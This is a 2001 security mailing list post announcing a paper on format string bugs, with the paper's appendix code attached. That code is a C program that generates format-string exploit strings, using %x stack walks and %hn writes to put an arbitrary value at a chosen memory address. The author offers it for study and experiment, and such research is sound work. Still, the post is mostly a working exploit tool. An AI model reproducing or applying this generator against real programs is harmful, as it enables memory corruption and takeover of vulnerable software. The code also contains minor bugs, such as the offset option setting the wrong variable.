Vulnerability Development mailing list archives

Paper: Format String Bug Analysis


From: Andreas Thuemmel <a.thuemmel () WEB DE>
Date: Thu, 1 Mar 2001 08:53:18 +0100

Hello,

I've written a little paper on the analysis of exploits based 
on format string bugs. The paper can be found at
http://www.securityfocus.com/data/library/format-bug-analysis.pdf

Enclosed you find the example code given in the appendix of the
paper that can be used in order to experiment with format strings.

Cheers,
Andreas

/* fmtstring.c 
 *
 *  "Format String Bug" example code 
 * 
 *  by Andreas Thuemmel, November 2000  
 *  a.thuemmel () computer org
 *
 */

/* 
 * int gen_exploit_str(
 *   char *fmt, 
 *   int n, 
 *   void *mm, 
 *   unsigned int k, 
 *   int string_offset,
 *   int dollar_flag, 
 *   int bigendian, 
 *   int words
 * )
 * Create an exploit string in order to write an arbitrary
 * value to an almost arbitrary address in memory via a
 * "Format String Bug". In order for the string to be usable, it has
 * to be stored on the stack somewhere above the frame of the 
 * *printf function that reads the string. 
 *
 * Arguments:
 *
 *  fmt - pointer to a buffer that will hold the resulting string
 *        (the buffer has to be long enaough to hold the string!),
 *  n   - number of bytes to walk up the stack in order to find the 
 *        format string,
 *  mm  - memory address to overwrite,
 *  kk  - value to write.
 *
 * Options:
 * 
 *  string_offset     - number of chars in _final_ format string that
 *                      preceed the exp.-string, e.g. for iterated *printfs
 *                      (set to 0 most of the times)  
 *  if dollar_flag != 0 then use "$" format statement to walk up
 *                      the stack 
 *  if bigendian != 0   then assume bigendian format (beware! untested) 
 *  if words != 0       then do 2 short int writes instead of 4 byte writes 
 *
 * Assumption: sizeof(int)=4, sizeof(short int)=2, sizeof(int*)=4
 * Returns:
 *
 *  -1 if the memory address (mm) is not writable,  
 *  length of the exploit string otherwise
 *
 *  by Andreas Thuemmel, November 2000  
 *  a.thuemmel () computer org
 *
 */

#include <string.h>
#include <stdio.h>

int gen_exploit_str(char *fmt, int n, void *mm, unsigned int k, 
                    int string_offset, int dollar_flag, int bigendian, 
                    int words)
{
   int i, nn = n + string_offset;
   int plen = string_offset;     /* length of *printf's output string */
   int slen = 0;                 /* length of exploit string */
   int stepup;      /* # of bytes/4 to walk up the stack to find %n args */ 
   int inc,shift;   
   if (words)
      inc = 2, shift = 0x10000;
   else 
      inc = 1, shift = 0x100;
  
   /* Adjust nn to a multiple of 4, as we can only walk up
    * the stack in steps of at least 4 bytes. Pad the
    * string as necessary.
    */ 
   if (nn%4>0) 
   {
      for (i=0; i<nn%4; i++)
      {
         sprintf(fmt+slen,"A");
         slen++; 
         plen++;
         nn++;
      }
   }
   stepup = nn/4;

   /* Write the "arguments" for %n at the head of the
    * string. We do 4 separate 'short int' writes via %hn. 
    * One for every byte of k. Thus mm, mm+1, mm+2, mm+3
    * are written to. None of them must contain a 0x00-byte. 
    */ 
   for (i=0; i<4; i+=inc)
   {
      unsigned int b0,b1,b2,b3, mem;
      if (bigendian)
         mem = (unsigned int)mm-i;
      else
           mem = (unsigned int)mm+i;
      b0 = mem&0xff;
      b1 = (mem>>8)&0xff;
      b2 = (mem>>16)&0xff;
      b3 = (mem>>24)&0xff;
      if ( b0*b1*b2*b3 == 0 )
      {
         return -1;
      }
      if (bigendian)
         sprintf(fmt+slen,"    %c%c%c%c",b3,b2,b1,b0);
      else
         sprintf(fmt+slen,"    %c%c%c%c",b0,b1,b2,b3);
      slen += 8;
      plen += 8;
   }

   /* Write the actual %n format commands. In front 
    * of every "%n" walk up the stack stepup*4 bytes
    * (by "$"-jumps if dollar_flag!=0, by stepup "%x"s otherwise)
    * in order to find our string that contains the memory 
    * addresses to write to and adjust the length of
    * output string appropriately via length (".") 
    * formated hexadecimal integer writes ("x"). 
    */ 
   if (!dollar_flag)
   {
      for (i=0; i<stepup; i++)
      {
         sprintf(fmt+slen,"%%.8x");
         slen += 4;
         plen += 8; 
      }
   }
   for (i=0; i<4; i+=inc)
   {
      int p = (k%shift - plen%shift); 
      if (p<0) 
         p += shift; 
      if (p<8) 
         p += shift; 
      plen += p;
      k /= shift;
      if (dollar_flag) 
      {
         sprintf(fmt+slen,"%%%d$.%dx%%%d$hn",stepup+1,p,stepup+2);
         stepup += 2;
      } else {
         sprintf(fmt+slen,"%%.%dx%%hn",p);
      }
      slen = strlen(fmt);
   }
   return slen;
}

#include <unistd.h>

int main(int argc, char **argv)
{
   char string[4096];  /* yes, I know it's lame but it's late.... */
   int n = 0, m = 0, k = 0, off = 0, dollar = 0, big = 0, words = 0;
   char ch;
   extern int optind, opterr;
   extern char *optarg;

   while ((ch = getopt(argc, argv, "hdbwn:m:k:o:")) != -1)
       switch((char)ch)        
       {
       case 'n':
           n = atoi(optarg);
           break;
       case 'm':
           sscanf(optarg,"%x",&m);   /* I know... */
           break;
       case 'k':
           sscanf(optarg,"%x",&k);
           break;
       case 'o':
           n = atoi(optarg);
           break;
       case 'd':
           dollar = 1;
           break;
       case 'b':
           big = 1;
           break;
       case 'w':
           words = 1;
           break;
       case 'h':
       default:
           puts("Options:");
           puts(" -n stack walk up bytes (required)"); 
           puts(" -m memory address to overwrite in hex (required)"); 
           puts(" -k value to write in hex (required)");
           puts(" -o offset"); 
           puts(" -d use dollar flag"); 
           puts(" -b big endian target architecture"); 
           puts(" -w use word writes instead of byte writes");
           exit(0);
   }

   if (gen_exploit_str(string,n,(void *)m,k,off,dollar,big,words) != -1)
      puts(string);
   else {
      puts("Address contains a 0x00 byte.");
      exit(1);
   }
}
______________________________________________________________________________
Die Fachpresse ist sich einig: WEB.DE 18mal Testsieger! Kostenlos E-Mail, 
Fax, SMS, Verschlüsselung, POP3, WAP....testen Sie uns! http://freemail.web.de


Current thread: